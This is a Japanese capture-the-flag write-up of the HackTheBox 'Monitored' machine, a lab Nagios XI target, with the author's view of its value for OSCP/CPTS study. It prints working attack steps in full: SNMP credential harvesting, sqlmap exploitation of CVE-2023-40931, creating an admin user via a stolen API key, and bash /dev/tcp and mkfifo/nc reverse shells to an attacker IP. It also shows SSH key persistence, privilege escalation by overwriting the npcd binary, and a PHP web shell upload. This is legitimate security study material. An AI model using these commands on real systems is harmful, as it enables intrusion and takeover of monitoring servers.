OSCP・CPTSの学習者がこの箱を学習用途とするのは非推奨
この箱は、シェルの取得から権限昇格まで、すべて Nagios の機能・脆弱性を使っている。 そのため、この箱を解くことは、「汎用的な力を育てる」よりも「Nagios 自体を学ぶ」に近い。 学びは多いかもしれないが、OSCP・CPTSのご区画を目指している人にとっては、まだ解かなくていいレベルの問題に感じました。
概要
- UDP 161 の SNMP(community
public)から、svc資格情報を取得 - Nagios アプリに対し、
svcの資格情報と CVE-2023-40931 の SQLi で 管理者権限のAPIキーを取得 - API キーを使って、管理者
hackerを作成 - 監視製品によくある「コマンド実行機能」を使ってユーザシェル(
nagios)を取得 nagios特有の SUDO 権限を利用して、リバースシェルスクリプトを実行することで、root に権限昇格
対象環境
| 項目 | 値 |
|---|---|
| 問題 | Monitored |
| 難易度 | Medium |
| OS | Linux |
| IP | 10.129.230.96 |
| 攻撃者IP | 10.10.14.10 |
攻撃フロー
1. 偵察
rustscan で全ポートを確認。開いているのは 22 / 80 / 389 / 5667。80 は https://nagios.monitored.htb へリダイレクト
Ch4n24n@htb[/htb]$ rustscan -a $TARGET --ulimit 5000 -t 10000 -- -sC -sV --source-port 53 -reason -T5 -oA tcp-port-scan
Open 10.129.230.96:22
Open 10.129.230.96:80
Open 10.129.230.96:389
Open 10.129.230.96:5667
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.56
|_http-title: Did not follow redirect to https://nagios.monitored.htb
389/tcp open ldap syn-ack ttl 63 OpenLDAP 2.2.X - 2.3.X
5667/tcp open tcpwrapped syn-ack ttl 63nagios.monitored.htb を /etc/hosts に足す
Ch4n24n@htb[/htb]$ echo $TARGET 'nagios.monitored.htb monitored.htb' | sudo tee -a /etc/hosts
10.129.230.96 nagios.monitored.htb monitored.htbWebポートの探索
Nagios がホストされていることがわかった
列挙を実行したら、資格情報を入力できそうな場所を複数個見つけた
- https://nagios.monitored.htb/nagios/
- https://nagios.monitored.htb/nagiosxi/login.php
- https://nagios.monitored.htb/nagiosxi/mobile
- https://nagios.monitored.htb/nagiosxi/terminal
- https://nagios.monitored.htb/nagiosxi/api
ただし、Webを含めたTCPポートを確認したが、攻略の起点(資格情報やアプリの脆弱性)を見つけることができなかった
2. SNMP から svc の資格情報
(1) UDPスキャン
UDP の上位 100 ポートも見ると 161/udp(SNMP)が開いていることがわかった
Ch4n24n@htb[/htb]$ sudo nmap -sU --top-ports 100 -v -oA udp-top100 $TARGET
PORT STATE SERVICE
68/udp open|filtered dhcpc
123/udp open ntp
161/udp open snmp
162/udp open|filtered snmptrap(2) SNMP の OID を列挙
nmap の SNMP スクリプトで OID を列挙すると、資格情報を見つけることができる
Ch4n24n@htb[/htb]$ sudo nmap -sU -p 161 --script=*snmp* $TARGET -v
| snmp-brute:
|_ public - Valid credentials
| 620:
| Name: sh
| Path: /bin/sh
| Params: -c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB→ svc:XjH7VCehowpR1xZB
3. Nagios Core と API の認証
前に見つけた 「資格情報を入力できそうな場所」 に片っ端からログインを試行すると、以下の2つの画面でログインできた
https://nagios.monitored.htb/nagios/
アプリが Nagios Core 4.4.13 であることがわかる
https://nagios.monitored.htb/nagiosxi/api
試しに認証系の API を送信すると、認証トークン(auth_token)が返却されたので、API は有効であることがわかる
Ch4n24n@htb[/htb]$ curl -X POST "http://nagios.monitored.htb/nagiosxi/api/v1/authenticate" -d "username=svc&password=XjH7VCehowpR1xZB"
{"username":"svc","user_id":"2","auth_token":"75fc2253…","valid_min":5,"valid_until":"Fri, 13 Nov 2026 00:46:09 -0500"}ここで手に入った auth_token を使うと、 https://nagios.monitored.htb/nagiosxi/login.php の認証画面をバイパスできる
バイパスするには、ブラウザのURLバーに以下を入力する。
https://nagios.monitored.htb/nagiosxi/login.php?token=75fc2253…バイパスが成功すると、以下の画面に遷移し、 左下より、 Nagios XI 5.11.0 がホストされていることがわかる
API の使い方の調べ方
4. 脆弱性の検索
Google で、 Nagios Core 4.4.13 poc や Nagios XI 5.11.0 poc と検索すると、Nagios XI 5.11.0 に対して以下の脆弱性が見つかる
- CVE-2023-40931(SQLi)
- CVE-2023-47400(Custom Includes の RCE)
47400 は管理者セッションが前提なので、先に 40931 を使う
※ 持っている資格情報は、svcのみでこれは管理者アカウントであるか不明
5. CVE-2023-40931 で xi_users をダンプ
G4sp4rCS/CVE-2023-40931-POC を実行する
ただし、これをそのまま実行すると、かなりの時間がかかるため、以下が出力された時点で停止する(Ctrl+C)
Ch4n24n@htb[/htb]$ git clone https://github.com/G4sp4rCS/CVE-2023-40931-POC.git
Ch4n24n@htb[/htb]$ python3 exploit.py -t 'https://nagios.monitored.htb/nagiosxi' -u svc -p XjH7VCehowpR1xZB
[+] Token obtained: 6244df47…
[+] Main page loaded successfully with the token.
[+] Possible SQL injection detected (error message found).
[+] Endpoint response:
{"message":"Failed to acknowledge message.","msg_type":"error"}
[*] Running sqlmap to extract the database...
[*] Command: sqlmap -u https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=6244df47… --data=action=acknowledge_banner_message&id=3 --cookie nagiosxi=pf29n1q9r2t8g1snm4ubp3tnn0 -p id --batch --dump --level 4 --risk 3 --threads 10この PoC が生成する sqlmap コマンドを使って、必要なDB情報のみをダンプする。 その結果、管理者の api_key を取得できる
※ 以下では、DB名・テーブル名の調査を端折って、いきなり目的のテーブルをダンプしている
Ch4n24n@htb[/htb]$ sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=6244df47…' --data='action=acknowledge_banner_message&id=3' --cookie nagiosxi=pf29n1q9r2t8g1snm4ubp3tnn0 -p id --batch --level 4 --risk 3 --threads 10 -D nagiosxi -T xi_users --dump
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+----------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| user_id | email | name | api_key | enabled | password | username | created_by | last_login | api_enabled | last_edited | created_time | last_attempt | backend_ticket | last_edited_by | login_attempts | last_password_change |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+----------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| 1 | admin@monitored.htb | Nagios Administrator | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1 | $2a$10$825c1ee… | nagiosadmin | 0 | 1701931372 | 1 | 1701427555 | 0 | 1794492356 | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0 | 5 | 2 | 1701427555 |
| 2 | svc@monitored.htb | svc | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK | 0 | $2a$10$12edac8… | svc | 1 | 1699724476 | 1 | 1699728200 | 1699634403 | 1794492364 | 6oWBPbarHY4vejimmu3K8tpZBNrdHpDgdUEs5P2PFZYpXSuIdrRMYgk66A0cjNjq | 1 | 13 | 1699697433 |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+----------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+6. nagiosadmin の API キーで管理者を作る
(1) 新規ユーザを作成
管理者権限の API キーを取得できたので、管理者権限を持つユーザ(hacker)を新規で作成する
Google で、 nagiosxi apikey create user で検索すると、やり方を AI が教えてくれる
このやり方に沿って API を送信し、管理者権限を作成する
Ch4n24n@htb[/htb]$ curl -X POST "http://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" \
-d 'username=hacker&password=Password123!&name=Test User&email=test@example.com&auth_level=admin&api_access=1'
{
"success": "User account hacker was added successfully!",
"user_id": 6
}→ 管理者 hacker:Password123!
(2) https://nagios.monitored.htb/nagiosxi/login.php でログインを施行
7. ユーザシェルの取得
(1) リバースシェルのスクリプトを登録
Configure > Core Config Manager > Commands に移動し、リバースシェルスクリプト(bash -c 'bash -i >& /dev/tcp/10.10.14.10/8200 0>&1')を登録する
※ 登録の際には、 Apply Configuration を押すことも忘れないように!
(2) スクリプトの呼び出し
同じ画面のサイドバーにある Hosts をクリックし、localhost > Check command で rev_shell を選択 > Run Check Command をクリック
リスニングポートを開いていると、リバースシェルを取得することができる
Ch4n24n@htb[/htb]$ rlwrap nc -nlvvp 8200
Listening on 0.0.0.0 8200
Connection received on 10.129.230.96 37914
bash: cannot set terminal process group (9052): Inappropriate ioctl for device
bash: no job control in this shell
nagios@monitored:~$ whoami
nagiosこの問題の難しいポイント
この方法は脆弱性ではなく、既存機能。 ただ、以下の2つを理解していないと、このやり方は絶対に思いつかない
- Nagios Core はホスト上で check command(プラグイン)を
nagiosユーザとして実行する監視製品であること- Nagios XI の管理者は Core Config Manager (CCM) でそのコマンドを自由に定義できること
よくよく考えたら監視製品ならよくある機能だった。 ※私は思いつかなかったが…(2026/11/13 現在)
8. SSH で固定
ed25519 の鍵を作り、公開鍵を authorized_keys に置く
nagios@monitored:~$ mkdir .ssh
nagios@monitored:~$ echo 'ssh-ed25519 AAAA…' > .ssh/authorized_keys以後は SSH で入る
Ch4n24n@htb[/htb]$ ssh -i id_nagios nagios@$TARGET
nagios@monitored:~$9. root権限の取得
(1)SUDO権限を確認
Nagios 系のコマンドが軒並み root 権限で実行できることがわかる
nagios@monitored:~$ sudo -l
Matching Defaults entries for nagios on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User nagios may run the following commands on localhost:
(root) NOPASSWD: /etc/init.d/nagios start
(root) NOPASSWD: /etc/init.d/nagios stop
(root) NOPASSWD: /etc/init.d/nagios restart
(root) NOPASSWD: /etc/init.d/nagios reload
(root) NOPASSWD: /etc/init.d/nagios status
(root) NOPASSWD: /etc/init.d/nagios checkconfig
(root) NOPASSWD: /etc/init.d/npcd start
(root) NOPASSWD: /etc/init.d/npcd stop
(root) NOPASSWD: /etc/init.d/npcd restart
(root) NOPASSWD: /etc/init.d/npcd reload
(root) NOPASSWD: /etc/init.d/npcd status
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *(2)権限昇格を実施
MAWK0235/CVE-2024-24402 を参考に権限昇格を行う
※ この脆弱性は、「Nagios XI manage_services.sh lpe」 でググれば、Google の AI が教えてくれる。
実際の手順は以下の通り
# ユーザIDを確認
nagios@monitored:~$ id
uid=1001(nagios) gid=1001(nagios) groups=1001(nagios),1002(nagcmd) <- nagios系のファイルは編集できるはず
# サービスを停止
nagios@monitored:~$ sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
# サービスの実行ファイルを上書きし、リバースシェルスクリプトを実行するだけのサービスにする
nagios@monitored:~$ cat > /usr/local/nagios/bin/npcd << 'EOF'
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.10 8201 >/tmp/f
EOF
# 実行権限の付与
nagios@monitored:~$ chmod +x /usr/local/nagios/bin/npcd
# サービスの開始
nagios@monitored:~$ sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcdリスニングポートを開いていると、リバースシェルを取得することができる
nagios@monitored:~$ rlwrap nc -nlvvp 8201
Listening on 0.0.0.0 8201
Connection received on 10.129.230.96 45862
sh: 0: can't access tty; job control turned off
# whoami
rootCVE-2024-24402 は問題がリリースされた後の PoC だが、よくありそうな脆弱性だったので、これで実施した
別解(root ユーザへの経路はラビットホール。たぶん)
CVE-2023-47400 で Web シェル を取得する方法もある (6の後に行う)
管理者ユーザを手に入れたので、もう一つの脆弱性 CVE-2023-47400 を利用する
LucasVanHaaren/CVE-2023-47400 を参考にRCEを実行
※ 上記のリンクにPoCがあるんだが、手でやったほうがわかりやすかったので、手で実行した
(1)Custom Includes へ移動
- 管理者ユーザで https://nagios.monitored.htb/nagiosxi/login.php にログイン
- Admin -> Custom Includes に移動する
(2) .htaccess を削除
printf '\xff\xd8\xff\xe0' > placeholder.jpgを実行し、placeholder.jpgをアップロード- ファイル名を
.htaccessへ変更 .htaccessを削除
.htaccessは、そのフォルダに保存できるファイルの拡張子を決定することができる。この後の工程で、PHPファイルをアップロードするのだが、このままだとアップロードできない。 また、.htaccessは非表示で直接削除することもできないため、既存のファイルを.htaccessにすることで上書きし、その状態で削除する必要がある。
(3)Webシェルのアップロード
Webシェルのスクリプトを作成する
Ch4n24n@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
Ch4n24n@htb[/htb]$ { printf '\xff\xd8\xff\xe0'; cat shell.php; } > shell.jpg.phpアップロード後に、プレビューを押し、 PHP を開く。 クエリストリングには、任意のコマンドが入力可能
ただし、このやり方だと、LPEする方法が分からなかった。このやり方で手に入るシェルは
www-data、 正規のやり方で手に入るシェルはnagiosであることが原因
参考
おわりに
- Nagios の公式サイトが個人的には見にくく、API が利用できるとわかっても、「それで何ができるのか?」を理解するのに結構時間がかかりました💦
- 問題自体が Nagios に傾倒しすぎているため、Nagios のスペシャリストではない限り、多くの時間を使うと思います。 そのため、 Nagios の専門家になりたい人でなければやらなくていい問題だと思います
ただ、「監視製品であれば当然だよな〜」と思う機能・脆弱性のみを使った問題とも思えたので、もしかしたら、より上位の人にとっては学びが多いのかもしれないです...









